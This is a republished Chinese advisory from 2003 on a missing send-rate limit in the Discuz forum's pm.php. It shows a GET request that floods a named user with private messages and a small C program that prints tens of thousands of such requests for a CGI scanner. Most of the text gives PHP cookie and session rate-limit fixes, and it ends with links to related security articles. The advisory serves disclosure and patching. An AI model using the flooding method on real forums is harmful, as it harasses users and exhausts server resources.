Discuz論壇短消息未限制發(fā)送次數(shù)漏洞

涉及版本:
目前(2003/9/21)所有免費(fèi)版本(我沒(méi)有商業(yè)版)
描述:
由于pm.php發(fā)送消息那部分代碼,缺乏對(duì)時(shí)間間隔的限制。導(dǎo)致任何用戶(hù)可以對(duì)任何用戶(hù)發(fā)送消息炸彈。導(dǎo)致服務(wù)器空間、資源被消耗。嚴(yán)重可導(dǎo)致拒絕服務(wù)。
具體:
大家可以看到pm.php文件的86行的代碼:
86 } elseif($action == ’send’) {
87
88 if(!$pmsubmit) {
……
179 showmessage(’pm_send_succeed’, ’pm.php’);
180 }
這部分代碼沒(méi)有檢測(cè)用戶(hù)發(fā)送短信的時(shí)間間隔限制代碼。我們只要注冊(cè)任意一個(gè)用戶(hù)登陸后,提交:
http://127.0.0.1/discuz/pm.php?action=send...st&message=test
就可以轟炸angel這個(gè)用戶(hù)了。提高效率的攻擊方法:
#incluse
main()
{
int i;
for(i=0;i<55933;i++)
{
printf("nwww.xxx.com/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test",i);
}
}
編譯運(yùn)行file.exe >discuzpm.txt,然后把discuzpm.txt導(dǎo)入任何一款CGI掃描器。Run……
防范方法:
一,限制用戶(hù)發(fā)信的間隔時(shí)間
可以利用PHP的SESSION或者COOKIE來(lái)限制用戶(hù)每次發(fā)信的間隔。處理用戶(hù)發(fā)送短信時(shí),可以選擇以下兩種方式區(qū)別用戶(hù)是否在規(guī)定的時(shí)間內(nèi)連續(xù)發(fā)送短信,假設(shè)管理員設(shè)置兩次發(fā)帖時(shí)間的間隔為2分鐘,看看下面兩個(gè)例子:
Cookie方式:
if ($beforepmid) die("對(duì)不起,你兩次發(fā)信的時(shí)間間隔還不到2分鐘"); // $beforepmid
前一次發(fā)信的ID
else setcookie("beforepmid",$pmid,time()+60*2,"/","",0); // $pmid
短信ID
Session方式:
session_start();
if (session_is_registered("time") && time()-$_SESSION[’time’]<60*2)
{
die("對(duì)不起,你兩次發(fā)帖的時(shí)間間隔還不到2分鐘"); // $time 前一次發(fā)信的時(shí)間
} else {
$time=time();
session_register("time");
}
看起來(lái)Cookie需要發(fā)送到客戶(hù)端,攻擊者可以刪除該Cookie,好象Session比較安全些,在服務(wù)器端。不過(guò)實(shí)際上我認(rèn)為應(yīng)該是差不多的。因?yàn)樗沁B續(xù)發(fā)送,中間的間隔時(shí)間很短,來(lái)不急去刪除該Cookie的。但也不排除自己編段小程序來(lái)刪除Cookie。為了萬(wàn)全,還是使用Session吧。Session方式的文件為"session_pm.php",去掉前面的"session_"然后覆蓋到Discuz目錄下,記得備份原Discuz目錄下的pm.php,以免出錯(cuò)后可以挽回。
如果希望用Cookie的方式來(lái)防止攻擊的哈,就用這個(gè)"cookie_pm.php"吧。把前面的"cookie_"去掉,然后覆蓋到Discuz目錄下,最好先備份Discuz目錄下的pm.php文件。
二,對(duì)于以上提高效率的攻擊的防止辦法
將第86行后加入以下代碼
$pmsubmit=$_POST[’pmsubmit’];
$msgto=$_POST[’msgto’];
$subject=$_POST[’subject’];
$message=$_POST[’message’];
OK,這下上面所說(shuō)的的高效攻擊方法失效了。
最后,付上兩個(gè)修改好的pm.php文件(http://www.4ngel.net/img/pm.rar)。一個(gè)為cookie方式,一個(gè)為session方式。如果你是直接使用上面文件中的一樣,請(qǐng)將文件名改為pm.php然后在覆蓋到discuz目錄下,再進(jìn)入管理遠(yuǎn)后臺(tái)的:界面風(fēng)格->模板套系
下編輯:Discuz! 語(yǔ)言包 下的 templates 選項(xiàng)。搜索"pm_box_isfull",把
’pm_box_isfull’ => ’您的信箱已滿(mǎn),在閱讀短消息前必須刪除一些不用的信息。’,
改為以下內(nèi)容:
’pm_box_isfull’ => ’您的信箱已滿(mǎn),在閱讀短消息前必須刪除一些不用的信息。’,
’pm_send_partition’ => ’對(duì)不起,你兩次發(fā)信的時(shí)間間隔還不到2分鐘。’,
’pm_nonexistence’ => ’對(duì)不起,短消息不存在或已被刪除。’
特別感謝金玄網(wǎng)(http://www.gixuan.net)的金玄給予大力的支持和幫助。其實(shí)discuz論壇還是個(gè)未成熟的論壇。還有一些大大小小的漏洞。希望開(kāi)發(fā)者們能注意。
(本文由責(zé)任編輯 pasu 整理發(fā)布)
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對(duì)win2003、win2008)
Windows系列服務(wù)器于2019年5月15號(hào),被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會(huì)遭到攻擊,該服務(wù)器漏洞利用方式是通過(guò)遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪(fǎng)問(wèn)漏洞 BUG ip:888/pma的問(wèn)題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪(fǎng)問(wèn)漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡(jiǎn)單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶(hù)恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個(gè)漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲(chóng)通過(guò)MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲(chóng)感染計(jì)算機(jī)后會(huì)向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對(duì)其2017-05-17
- 大部分的用戶(hù)可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
WEB常見(jiàn)漏洞問(wèn)題危害及修復(fù)建議
漏洞檢測(cè)工具用語(yǔ)有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價(jià)值,感興趣的朋友一起看看吧2016-10-11漏洞 自動(dòng)化腳本 論漏洞和自動(dòng)化腳本的區(qū)別
漏洞無(wú)處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪(fǎng)問(wèn)或破壞系統(tǒng)2016-09-29手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來(lái)APT追蹤盛行,最常見(jiàn)的就是各種以釣魚(yú)開(kāi)始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚(yú),也有魚(yú)叉式郵件釣魚(yú),下面小編就為大家介紹office漏洞CVE-2012-0158,一起來(lái)看看吧2016-09-28簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題和漏洞
SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題2016-09-23Python 爬蟲(chóng)修養(yǎng)-處理動(dòng)態(tài)網(wǎng)頁(yè)
在爬蟲(chóng)開(kāi)發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲(chóng)的基礎(chǔ)知識(shí)比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12